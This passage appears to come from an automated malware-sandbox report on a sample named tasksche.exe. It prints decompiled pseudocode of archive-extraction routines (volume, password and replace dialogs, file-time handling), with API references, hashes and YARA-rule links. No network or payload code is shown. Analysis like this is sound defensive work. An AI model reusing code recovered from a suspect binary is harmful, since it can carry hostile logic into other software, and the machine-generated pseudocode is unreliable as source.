							E004116C9((_t187 + 0x0000001e & 0xffffff00 | _a16 != 0x00000054) & 0x000000ff, (_t187 + 0x0000001e & 0xffffff00 | _a16 != 0x00000054) & 0x000000ff, _t187 + 0x1e);
							E004019E7(_t187, _t178, _t188, _a16 - 0x54, 1);
							_t202 = _a7;
							_t166 = _t187;
							if(_a7 == 0) {
								E0040369F(_t178, _t188);
							} else {
								E0040370E(_t166, _t178, _t202, _v16);
							}
							if( *((intOrPtr*)(_t187 + 0x6544)) == 2) {
								E00401A5C(_t187);
								_t178 =  *((intOrPtr*)(_t187 + 0xb04c));
								asm("sbb edx, [esi+0x7634]");
								 *((intOrPtr*)( *_t187 + 0xc))( *((intOrPtr*)(_t187 + 0xb048)) -  *((intOrPtr*)(_t187 + 0x7630)), _t178, 0);
							}
							if(_t150 != 0) {
								_t184 = _v8;
								if(_v16 != 5) {
									 *((char*)(_t150 + 0x21c7)) =  *((intOrPtr*)(_t184 + 0x1089));
									 *((intOrPtr*)(_t150 + 0x20)) =  *((intOrPtr*)(_t184 + 0x1048));
									 *((intOrPtr*)(_t150 + 0x24)) =  *((intOrPtr*)(_t184 + 0x104c));
								} else {
									 *((char*)(_t150 + 0x21c7)) = 0;
								}
								_t137 = E00408E03(_t187, _t178);
								 *(_t150 + 0x21e8) =  *(_t150 + 0x21e8) & 0x00000000;
								 *(_t150 + 0x21ec) =  *(_t150 + 0x21ec) & 0x00000000;
								 *((intOrPtr*)(_t150 + 0x21d0)) = _t137;
								 *((intOrPtr*)(_t150 + 0x21d4)) = _t178;
								E00409885(_t150 + 0x2208,  *((intOrPtr*)(_t184 + 0x1060)),  *((intOrPtr*)(_v12 + 0x7298)));
							}
							return 1;
						} else {
							if( *((intOrPtr*)(_t187 + 0xb050)) == 3) {
								L10:
								asm("sbb ecx, ecx");
								if(E00409AE9(_t150, _t150 + 0x2208, _t178, _t195, _t180 + 0x1060,  ~( *(_t180 + 0x10ba) & 0x000000ff) & _t180 + 0x000010bb) == 0) {
									E0040639F(5, _t187 + 0x1e, _t180 + 0x20);
								}
								goto L12;
							}
							if( *((char*)(_t180 + 0x19)) < 0x14) {
								goto L12;
							}
							_t195 =  *((intOrPtr*)(_t180 + 0x1064)) - 0xffffffff;
							if( *((intOrPtr*)(_t180 + 0x1064)) == 0xffffffff) {
								goto L12;
							}
							goto L10;
						}
					}
					L3:
					_a7 = 1;
					if( *((char*)(_t180 + 0x1089)) != 0) {
						goto L5;
					}
					goto L4;
				}
				_t180 = _t187 + 0x8928;
				_v8 = _t180;
				goto L3;
			}

0x00418b3d
0x00418b45
0x00418b4c
0x00418b55
0x00418b58
0x00418b5f
0x00418b65
0x00418b72
0x00418b78
0x00418b7b
0x00418b7d
0x00418b80
0x00418b8f
0x00418b8f
0x00418b93
0x00418b93
0x00418b98
0x00418bf1
0x00418bf8
0x00418bfb
0x00418c00
0x00418c0f
0x00418c11
0x00418c11
0x00418c16
0x00418c47
0x00418c58
0x00418c5a
0x00418c5e
0x00418cd8
0x00418cda
0x00418ce1
0x00418ce2
0x00418ce9
0x00000000
0x00000000
0x00418c63
0x00418c65
0x00418c67
0x00418c6e
0x00418c6e
0x00418c6e
0x00418c6e
0x00418c75
0x00418c79
0x00418cb7
0x00418cb7
0x00418cba
0x00418cc1
0x00418d36
0x00418d3f
0x00418d4d
0x00418d5c
0x00000000
0x00418d5f
0x00418ccf
0x00418cd4
0x00418cd6
0x00000000
0x00000000
0x00000000
0x00418c7b
0x00418c86
0x00418c9b
0x00418caa
0x00418cac
0x00418cb0
0x00418cb3
0x00418cb5
0x00418d2d
0x00000000
0x00418d33
0x00000000
0x00418cb5
0x00418c79
0x00418cff
0x00418d08
0x00418d0d
0x00418d11
0x00418d13
0x00418d66
0x00418d15
0x00418d18
0x00418d18
0x00418d72
0x00418d76
0x00418d87
0x00418d8d
0x00418d9b
0x00418d9b
0x00418da0
0x00418da6
0x00418da9
0x00418dba
0x00418dc6
0x00418dcf
0x00418dab
0x00418dab
0x00418dab
0x00418dd4
0x00418dd9
0x00418de0
0x00418de7
0x00418df0
0x00418e08
0x00418e08
0x00000000
0x00418ba0
0x00418ba7
0x00418bb8
0x00418bc1
0x00418be0
0x00418bec
0x00418bec
0x00000000
0x00418be0
0x00418bad
0x00000000
0x00000000
0x00418baf
0x00418bb6
0x00000000
0x00000000
0x00000000
0x00418bb6
0x00418b98
0x00418b82
0x00418b89
0x00418b8d
0x00000000
0x00000000
0x00000000
0x00418b8d
0x00418b67
0x00418b6d
0x00000000

APIs

_wcscpy.LIBCMT ref: 00418C26
_wcscpy.LIBCMT ref: 00418C86
_wcscpy.LIBCMT ref: 00418D2D

Strings

T, xrefs: 00418CEF

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy
String ID: T
API String ID: 3048848545-3187964512
Opcode ID: 7b9b9af83664cc87fe2d3df4d2851bf5f64a8acbd8ca5ef161931a2b21923617
Instruction ID: 08ee224434b4342d1c159c2c22343cdeaadf414e9d08c0d11a019e9d32988bbe
Opcode Fuzzy Hash: 7b9b9af83664cc87fe2d3df4d2851bf5f64a8acbd8ca5ef161931a2b21923617
Instruction Fuzzy Hash: 99910871600744AFDF24DF64C884BEAB7F8AF15304F0445AFE95997282CB78AAC4CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00406D02 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 127
timeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00406D02(void* __edx) {
				void* __ebx;
				void* __edi;
				void* _t46;
				signed int _t56;
				signed int _t59;
				void* _t63;
				signed int _t64;
				signed int _t70;
				void* _t96;
				intOrPtr* _t101;
				void* _t103;

				_t96 = __edx;
				E0041A4DC(E00429658, _t103);
				E0041AAF0(0x5094);
				_t101 =  *((intOrPtr*)(_t103 + 0xc));
				if( *_t101 == 0 ||  *((intOrPtr*)(_t101 + 2)) != 0) {
					_push(0x802);
					_t46 = _t103 - 0x307c;
				} else {
					E0041A7F7(_t103 - 0x307c, L".\\");
					_push(0x800);
					_t46 = _t103 - 0x3078;
				}
				_push(_t101);
				_push(_t46);
				E00410B9C();
				E004066DA(0, 0x802,  *((intOrPtr*)(_t103 + 8)), _t103 - 0x407c, 0x800);
				if( *((short*)(_t103 - 0x407c)) == 0x3a) {
					__eflags =  *(_t103 + 0x10);
					if(__eflags == 0) {
						E00410BC9(__eflags, _t103 - 0x307c, _t103 - 0x407c, 0x802);
						E004067E1(_t103 - 0x2078);
						_push(0);
						 *(_t103 + 0x13) = E004096BC(_t96, _t101, _t103 - 0x2078);
						_t56 =  *(_t103 - 0x1070);
						__eflags = _t56 & 0x00000001;
						if((_t56 & 0x00000001) != 0) {
							_t72 = _t56 & 0xfffffffe;
							__eflags = _t56 & 0xfffffffe;
							E0040908D(_t101, _t72);
						}
						E00408786(_t103 - 0x1030);
						 *(_t103 - 4) = 0;
						_t59 = E00408A0A(_t103 - 0x1030, __eflags, _t103 - 0x307c, 0x11);
						__eflags = _t59;
						if(_t59 != 0) {
							_push(_t103 - 0x1030);
							_push(0);
							_t70 = E00402C8B( *((intOrPtr*)(_t103 + 8)), _t96);
							__eflags = _t70;
							if(_t70 != 0) {
								E00408A32(_t103 - 0x1030);
							}
						}
						E00408786(_t103 - 0x50a0);
						 *(_t103 - 4) = 1;
						__eflags =  *(_t103 + 0x13);
						if( *(_t103 + 0x13) != 0) {
							_push(5);
							_push(_t101);
							_t64 = E004087C3(_t103 - 0x50a0);
							__eflags = _t64;
							if(_t64 != 0) {
								SetFileTime( *(_t103 - 0x509c), _t103 - 0x1050, _t103 - 0x1048, _t103 - 0x1040);
							}
						}
						E0040908D(_t101,  *(_t103 - 0x1070));
						 *(_t103 - 4) = 0;
						E00408C7D(0, _t103 - 0x50a0);
						_t38 = _t103 - 4;
						 *_t38 =  *(_t103 - 4) | 0xffffffff;
						__eflags =  *_t38;
						_t63 = E00408C7D(0, _t103 - 0x1030);
					} else {
						_push(0);
						_push(0);
						_t63 = E00402C8B( *((intOrPtr*)(_t103 + 8)), _t96);
					}
				} else {
					E0040639F(0x50,  *((intOrPtr*)(_t103 + 8)) + 0x1e, _t101);
					_t63 = E004062BA(0x4335ac, 3);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t103 - 0xc));
				return _t63;
			}

0x00406d02
0x00406d07
0x00406d11
0x00406d18
0x00406d26
0x00406d4e
0x00406d4f
0x00406d2e
0x00406d3a
0x00406d41
0x00406d46
0x00406d46
0x00406d55
0x00406d56
0x00406d57
0x00406d6b
0x00406d78
0x00406d9a
0x00406d9d
0x00406dbd
0x00406dc8
0x00406dcd
0x00406ddb
0x00406dde
0x00406de4
0x00406de6
0x00406de8
0x00406de8
0x00406ded
0x00406ded
0x00406df8
0x00406e0c
0x00406e0f
0x00406e14
0x00406e16
0x00406e21
0x00406e22
0x00406e23
0x00406e28
0x00406e2a
0x00406e32
0x00406e32
0x00406e2a
0x00406e3d
0x00406e42
0x00406e46
0x00406e49
0x00406e4b
0x00406e4d
0x00406e54
0x00406e59
0x00406e5b
0x00406e78
0x00406e78
0x00406e5b
0x00406e85
0x00406e90
0x00406e93
0x00406e98
0x00406e98
0x00406e98
0x00406ea2
0x00406d9f
0x00406da2
0x00406da3
0x00406da4
0x00406da4
0x00406d7a
0x00406d84
0x00406d90
0x00406d90
0x00406ead
0x00406eb5

APIs

__EH_prolog.LIBCMT ref: 00406D07
_wcscpy.LIBCMT ref: 00406D3A

Part of subcall function 00410BC9: _wcslen.LIBCMT ref: 00410BCF
Part of subcall function 00410BC9: _wcsncat.LIBCMT ref: 00410BE8

SetFileTime.KERNEL32(?,?,?,?,00000000,00000005,?,00000011,00000000,?,00000000,?,0000003A,00000802,?,00000000), ref: 00406E78

Part of subcall function 0040908D: SetFileAttributesW.KERNEL32(00000000,00000000,76F1F790,00000001,?,0040933D,00000000,?,?,0040941E,?,00000001,00000000,?,?), ref: 004090A8
Part of subcall function 0040908D: SetFileAttributesW.KERNEL32(?,00000000,00000000,?,00000800,?,0040933D,00000000,?,?,0040941E,?,00000001,00000000,?,?), ref: 004090D5

Strings

:, xrefs: 00406D70

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: File$Attributes$H_prologTime_wcscpy_wcslen_wcsncat
String ID: :
API String ID: 326910402-336475711
Opcode ID: 5e0e7d49851dca55c4deade094d134f4ea512213999111766949daa2ff960fa4
Instruction ID: 6639f4f99703ce1112f5787d69d8c123706ab186ca62756c3ad703d048bc38cc
Opcode Fuzzy Hash: 5e0e7d49851dca55c4deade094d134f4ea512213999111766949daa2ff960fa4
Instruction Fuzzy Hash: D0417F71905258AAEB20EB64CC55EEE737CAF04344F0040ABB556B71C2DB78AF94CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040D53E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040D53E(void* __edx, void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR** _a16) {
				void* _t12;
				void* _t17;
				void* _t21;
				void* _t24;
				void* _t27;
				void* _t29;
				struct HWND__* _t31;
				WCHAR** _t32;

				_t32 = _a16;
				_t31 = _a4;
				if(E004060EE(__edx, _t31, _a8, _a12, _t32, L"ASKNEXTVOL", 0, 0) != 0) {
					L14:
					__eflags = 1;
					return 1;
				}
				_t12 = _a8 - 0x110;
				if(_t12 == 0) {
					_push( *_t32);
					 *0x44cf2c = _t32;
					L13:
					SetDlgItemTextW(_t31, 0x65, ??);
					goto L14;
				}
				if(_t12 != 1) {
					L6:
					return 0;
				}
				_t17 = (_a12 & 0x0000ffff) - 1;
				if(_t17 == 0) {
					GetDlgItemTextW(_t31, 0x65,  *( *0x44cf2c), ( *0x44cf2c)[1]);
					_push(1);
					L10:
					EndDialog(_t31, ??);
					goto L14;
				}
				_t21 = _t17 - 1;
				if(_t21 == 0) {
					_push(0);
					goto L10;
				}
				if(_t21 == 0x64) {
					_t24 = E0040A5DB(__eflags,  *( *0x44cf2c));
					_t27 = E00405164(_t29, _t31, E0040C3BF(0x8e),  *( *0x44cf2c), _t24, 0);
					__eflags = _t27;
					if(_t27 == 0) {
						goto L14;
					}
					_push( *( *0x44cf2c));
					goto L13;
				}
				goto L6;
			}

0x0040d542
0x0040d546
0x0040d561
0x0040d5ee
0x0040d5f0
0x00000000
0x0040d5f0
0x0040d56a
0x0040d56f
0x0040d5dd
0x0040d5df
0x0040d5e5
0x0040d5e8
0x00000000
0x0040d5e8
0x0040d572
0x0040d583
0x00000000
0x0040d583
0x0040d578
0x0040d579
0x0040d5d3
0x0040d5d9
0x0040d5bd
0x0040d5be
0x00000000
0x0040d5be
0x0040d57b
0x0040d57c
0x0040d5bb
0x00000000
0x0040d5bb
0x0040d581
0x0040d590
0x0040d5a9
0x0040d5ae
0x0040d5b0
0x00000000
0x00000000
0x0040d5b7
0x00000000
0x0040d5b7
0x00000000

APIs

EndDialog.USER32(?,00000001), ref: 0040D5BE
GetDlgItemTextW.USER32 ref: 0040D5D3
SetDlgItemTextW.USER32 ref: 0040D5E8

Strings

ASKNEXTVOL, xrefs: 0040D54D

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: ItemText$Dialog
String ID: ASKNEXTVOL
API String ID: 1770891597-3402441367
Opcode ID: a8a6f44b6775d0cd3294368f2a4b23b4347bfb04fbb05bfaf2c83a68a4392c99
Instruction ID: 7c41b1936654f57e10877f1e9afce92132798bffb5e44c1de30f76ec9c95968c
Opcode Fuzzy Hash: a8a6f44b6775d0cd3294368f2a4b23b4347bfb04fbb05bfaf2c83a68a4392c99
Instruction Fuzzy Hash: 23118135600104BBDB219FA49C45F663775EB0A718F044036FE01FA1E0D77AD825AB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041254D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0041254D(intOrPtr __ecx, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				char _v28;
				void* __ebx;
				void* __edi;
				intOrPtr _t25;
				signed int _t30;
				signed int _t31;
				intOrPtr _t35;
				signed int _t40;
				void* _t41;
				signed int _t42;
				signed int _t46;
				signed int _t47;
				unsigned int _t48;
				void* _t51;

				_v16 = __ecx;
				_t25 = E0041252C(__ecx);
				_t47 = 0;
				_v8 = 0;
				if(_a4 <= 0) {
					return _t25;
				}
				_push(_t35);
				_push(_t48);
				do {
					if(_v8 >= 0x20) {
						if(_t47 < _a4) {
							L8:
							E0041216A( &_v28);
							E0041C77F( &_v28, 0x42d504);
							goto L9;
						}
						L12:
						return _t25;
					}
					_t48 = _a4 - _t47;
					_t41 = 0x20;
					_t42 = _t41 - _v8;
					_t30 = _t48;
					_t31 = _t30 / _t42;
					_t46 = _t30 % _t42;
					_v12 = _t31;
					if(_t31 <= 0x400000) {
						_v12 = 0x400000;
					}
					while(_t48 >= _v12) {
						_t35 = E0041CF3E(_t35, _t46, _t47, _t48);
						if(_t35 != 0) {
							goto L9;
						}
						_t48 = _t48 - (_t48 >> 5);
					}
					goto L8;
					L9:
					E0041A820(_t47, _t35, 0, _t48);
					_t25 = _v16;
					_t40 = _v8 << 2;
					_t47 = _t47 + _t48;
					_t51 = _t51 + 0xc;
					_v8 = _v8 + 1;
					 *((intOrPtr*)(_t40 + _t25)) = _t35;
					 *((intOrPtr*)(_t40 + _t25 + 0x80)) = _t47;
				} while (_t47 < _a4);
				goto L12;
			}

0x00412554
0x00412557
0x0041255c
0x0041255e
0x00412564
0x004125f7
0x004125f7
0x0041256a
0x0041256b
0x0041256c
0x00412570
0x004125f1
0x004125ad
0x004125b0
0x004125be
0x00000000
0x004125be
0x004125f3
0x00000000
0x004125f4
0x00412577
0x00412579
0x0041257a
0x0041257f
0x00412581
0x00412581
0x00412588
0x0041258d
0x0041258f
0x0041258f
0x004125a8
0x0041259a
0x0041259f
0x00000000
0x00000000
0x004125a6
0x004125a6
0x00000000
0x004125c3
0x004125c7
0x004125cf
0x004125d2
0x004125d5
0x004125d7
0x004125da
0x004125dd
0x004125e0
0x004125e7
0x00000000

APIs

__CxxThrowException@8.LIBCMT ref: 004125BE
_memset.LIBCMT ref: 004125C7

Strings

, xrefs: 0041256C

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: Exception@8Throw_memset
String ID:
API String ID: 3963884845-3916222277
Opcode ID: 653566bfccebebc550ca30b6af37db387d4266e4fa5bc9fcb69beb97700c845e
Instruction ID: ba4e6bc0ef6041dd665025fb65f45a384477b48ee7e133f8ed84bbd0a598a512
Opcode Fuzzy Hash: 653566bfccebebc550ca30b6af37db387d4266e4fa5bc9fcb69beb97700c845e
Instruction Fuzzy Hash: 60110671E01218BACB14EFA9CAD55DEB776FF54344F10406BE405E7241D6B85BD2CB88

Uniqueness

Uniqueness Score: -1.00%

Function 0040D477 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E0040D477(void* __ebx, void* __ecx, void* __edx, void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR* _a16) {
				short _v260;
				void* _t15;
				void* _t20;
				struct HWND__* _t33;

				_t33 = _a4;
				if(E004060EE(__edx, _t33, _a8, _a12, _a16, L"GETPASSWORD1", 0, 0) != 0) {
					L10:
					return 1;
				}
				_t15 = _a8 - 0x110;
				if(_t15 == 0) {
					SetDlgItemTextW(_t33, 0x66, _a16);
					goto L10;
				}
				if(_t15 != 1) {
					L5:
					return 0;
				}
				_t20 = (_a12 & 0x0000ffff) - 1;
				if(_t20 == 0) {
					GetDlgItemTextW(_t33, 0x65,  &_v260, 0x80);
					E0040D033(__ebx, 0x44ce20,  &_v260);
					E0040CFA3( &_v260, 0x80);
					_push(1);
					L7:
					EndDialog(_t33, ??);
					goto L10;
				}
				if(_t20 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x0040d482
0x0040d49f
0x0040d50a
0x00000000
0x0040d50c
0x0040d4a4
0x0040d4a9
0x0040d504
0x00000000
0x0040d504
0x0040d4ac
0x0040d4b8
0x00000000
0x0040d4b8
0x0040d4b2
0x0040d4b3
0x0040d4d6
0x0040d4e8
0x0040d4f5
0x0040d4fa
0x0040d4bd
0x0040d4be
0x00000000
0x0040d4be
0x0040d4b6
0x0040d4bc
0x00000000
0x0040d4bc
0x00000000

APIs

EndDialog.USER32(?,00000001), ref: 0040D4BE
GetDlgItemTextW.USER32 ref: 0040D4D6
SetDlgItemTextW.USER32 ref: 0040D504

Strings

GETPASSWORD1, xrefs: 0040D489

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: ItemText$Dialog
String ID: GETPASSWORD1
API String ID: 1770891597-3292211884
Opcode ID: 2c39065e7e84a8441d2400259efe6a077f35be0b7a0eee454e8495a0c984ab02
Instruction ID: 3eed9e1ab7e5d8a1da33783b11a95132ac7616313df89bdc2d2bc64375715bf5
Opcode Fuzzy Hash: 2c39065e7e84a8441d2400259efe6a077f35be0b7a0eee454e8495a0c984ab02
Instruction Fuzzy Hash: 4F11CE329001187ADB219FA1AC44EFB3A6DEF59754F404036FD05B20D0C67CD96A96AA

Uniqueness

Uniqueness Score: -1.00%

Function 00410F29 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00410F29(long* __ecx, long _a4) {
				long _t11;
				void* _t14;
				long _t23;
				long* _t25;

				_t19 = __ecx;
				_t11 = _a4;
				_t23 = 0x20;
				_t25 = __ecx;
				 *__ecx = _t11;
				if(_t11 > _t23) {
					 *__ecx = _t23;
				}
				if( *_t25 == 0) {
					 *_t25 = 1;
				}
				_t25[0x21] = 0;
				if( *_t25 > _t23) {
					 *_t25 = _t23;
				}
				_t3 =  &(_t25[0x68]); // 0x1a0
				_t25[0x65] = 0;
				InitializeCriticalSection(_t3);
				_t25[0x66] = CreateSemaphoreW(0, 0, _t23, 0);
				_t14 = CreateEventW(0, 1, 1, 0);
				_t25[0x67] = _t14;
				if(_t25[0x66] == 0 || _t14 == 0) {
					_push(L"\nThread pool initialization failed.");
					_push(0x4335ac);
					E00406423(_t19);
					E00406371(0x4335ac, 2);
				}
				_t25[0x63] = 0;
				_t25[0x64] = 0;
				_t25[0x22] = 0;
				return _t25;
			}

0x00410f29
0x00410f29
0x00410f32
0x00410f33
0x00410f35
0x00410f39
0x00410f3b
0x00410f3b
0x00410f41
0x00410f43
0x00410f43
0x00410f49
0x00410f51
0x00410f53
0x00410f53
0x00410f55
0x00410f5c
0x00410f62
0x00410f78
0x00410f7e
0x00410f84
0x00410f90
0x00410f96
0x00410fa0
0x00410fa1
0x00410fac
0x00410fac
0x00410fb2
0x00410fb8
0x00410fbe
0x00410fc8

APIs

InitializeCriticalSection.KERNEL32(000001A0,?,000001B8,0044F590,004110EE,00000020,?,00409901,?,?,?,0040BB60,?,?,00000000,?), ref: 00410F62
CreateSemaphoreW.KERNEL32(00000000,00000000,00000020,00000000,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED), ref: 00410F6C
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED), ref: 00410F7E

Strings

Thread pool initialization failed., xrefs: 00410F96

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 5d2de00027b14f6e07390935bc826641c20494178e34cc3b56ee4834533d8747
Instruction ID: 3f206ddc5264aa259e24750db78c3e6b08f6c9018291aa2998b68a3e9789e537
Opcode Fuzzy Hash: 5d2de00027b14f6e07390935bc826641c20494178e34cc3b56ee4834533d8747
Instruction Fuzzy Hash: FF115EB1600301AFD3305F659886BE7BBE8FB55315F60482FF6DAC6240D6B458C1CB18

Uniqueness

Uniqueness Score: -1.00%

Function 0040E6CF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E6CF(long _a4, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				long _v0;
				WCHAR* _t16;
				int _t19;
				_Unknown_base(*)()* _t25;

				 *0x441828 = _a12;
				 *0x44182c = _a16;
				 *0x441824 = _a20;
				if( *0x441830 == 0) {
					if( *0x441831 == 0) {
						_t25 = E0040DE5E;
						_t16 = L"REPLACEFILEDLG";
						while(1) {
							_t19 = DialogBoxParamW( *0x4335a4, _t16,  *0x441844, _t25, _a4);
							if(_t19 != 4) {
								break;
							}
							if(DialogBoxParamW( *0x4335a8, L"RENAMEDLG",  *0x441840, E0040D3EE, _v0) != 0) {
								break;
							}
						}
						return _t19;
					}
					return 1;
				}
				return 0;
			}

0x0040e6da
0x0040e6e3
0x0040e6ec
0x0040e6f1
0x0040e6fe
0x0040e70f
0x0040e714
0x0040e73b
0x0040e74f
0x0040e754
0x00000000
0x00000000
0x0040e739
0x00000000
0x00000000
0x0040e739
0x00000000
0x0040e75b
0x00000000
0x0040e702
0x00000000

Strings

RENAMEDLG, xrefs: 0040E72A
REPLACEFILEDLG, xrefs: 0040E714, 0040E746

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 9dc2c4e2a994375845b1e54b9a4a57574d7f38f83bee2a11927b5ffac3eaf025
Instruction ID: 0892b1485419df81b4422e2148389c4265d0283c5dc75372e36aae0ff2247616
Opcode Fuzzy Hash: 9dc2c4e2a994375845b1e54b9a4a57574d7f38f83bee2a11927b5ffac3eaf025
Instruction Fuzzy Hash: AF017576604204BFC712AB55EC44A167BD5E74A751F040837F901E32B0D3764865DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 0041E132 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 28%

			E0041E132(void* __ebx, void* __ecx, void* __edx, intOrPtr* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* __ebp;
				void* _t20;
				void* _t22;
				void* _t23;
				void* _t25;
				intOrPtr* _t26;
				void* _t27;
				void* _t28;

